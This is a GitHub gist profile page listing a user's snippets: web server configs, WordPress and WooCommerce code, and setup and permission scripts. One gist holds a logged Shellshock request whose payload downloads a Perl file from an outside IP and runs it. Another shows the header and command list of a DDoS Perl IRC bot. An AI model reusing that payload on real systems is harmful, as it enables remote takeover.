Skip to content

Instantly share code, notes, and snippets.

View niladam's full-sized avatar

Madalin Tache niladam

View GitHub Profile
<?xml version="1.0" encoding="UTF-8"?>
<system.webServer>
<httpProtocol>
<customHeaders>
<remove name="Vary"></remove>
<add name="Vary" value="Accept-Encoding"></add>
</customHeaders>
</httpProtocol>
</system.webServer>
@niladam
niladam / jur
Last active August 29, 2015 14:12
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22
<?php
// Make sure you only use opening / closing tags if needed!!!
// Late priority so WC can't jump back in and re-enqueue them
add_action( 'wp_enqueue_scripts', 'woocommerce_de_script', 100 );
// Removes WooCommerce Scripts on non shop/product/cart/checkout pages
function woocommerce_de_script() {
if ( function_exists( 'is_woocommerce' ) ) {
if ( !is_shop() && !is_cart() && !is_checkout() && !is_account_page() && !is_page_template( 'custom-template.php' ) {
@niladam
niladam / gist:4baaa7f0607bb55fcd40
Created March 29, 2016 15:33 — forked from johnbillion/hierarchy.php
WordPress Template Hierarchy (as of WordPress 4.4)
<?php
/* WordPress Template Hierarchy as of WordPress 4.4
is_404() ---------------------------------------------------------------------------------------------------> 404.php
is_search() ------------------------------------------------------------------------------------------------> search.php
is_front_page() --------------------------------------------------------------------------------------------> front-page.php
is_home() --------------------------------------------------------------------------------------------------> home.php
@niladam
niladam / mailwizz.dev.conf
Created April 28, 2016 11:58 — forked from joglomedia/mailwizz.dev.conf (MailWizz Nginx Configuration)
MailWizz Nginx Configuration (Install using Simple LNMP Installer - https://github.com/joglomedia/deploy) - MailWizz EMA is a simple, efficient and full-featured email marketing application with an impressive features set. Download MailWizz here http://goo.gl/qDMd0I
server {
listen 80;
#listen [::]:80 default_server ipv6only=on;
## Make site accessible from world web.
server_name mailwizz.dev www.mailwizz.dev;
## Log Settings.
access_log /var/log/nginx/mailwizz.dev_access.log;
error_log /var/log/nginx/mailwizz.dev_error.log error;
@niladam
niladam / Trellis setup
Created May 10, 2016 15:53 — forked from tobyl/Trellis setup
Bash script to setup Bedrock, Trellis and Sage
#!/bin/bash
# set this variable - it will be used as both the root folder name and the theme name for sage
# no spaces - should not be a URL - I'm using 'my-site' or similar
SITENAME="your-site-name"
# Add BitBucket username/password to have a remote repo setup
BBUSER="YOUR-BB-USERNAME"
BBPASS="YOUR-BB-PASSWORD"
@niladam
niladam / osx_install.sh
Created May 11, 2016 09:52
Install most of my Apps with homebrew & cask
#!/bin/sh
echo Install all AppStore Apps at first!
# no solution to automate AppStore installs
read -p "Press any key to continue... " -n1 -s
echo '\n'
echo Install and Set San Francisco as System Font
ruby -e "$(curl -fsSL https://raw.github.com/wellsriley/YosemiteSanFranciscoFont/master/install)"
echo Install Homebrew, Postgres, wget and cask
ruby -e "$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)"
@niladam
niladam / fix-wordpress-permissions.sh
Created May 11, 2016 09:52
Fix wordpress file permissions
#!/bin/bash
#
# This script configures WordPress file permissions based on recommendations
# from http://codex.wordpress.org/Hardening_WordPress#File_permissions
#
# Author: Michael Conigliaro <mike [at] conigliaro [dot] org>
#
WP_OWNER=www-data # <-- wordpress owner
WP_GROUP=www-data # <-- wordpress group
WP_ROOT=$1 # <-- wordpress root directory
@niladam
niladam / bot.pl
Created May 25, 2016 10:10 — forked from tlongren/bot.pl
Perl IRC Bot from http://202.202.121.27/bot.txt
#!/usr/bin/perl
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2012 by w0rmer Security Team ## [ Help ] #########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##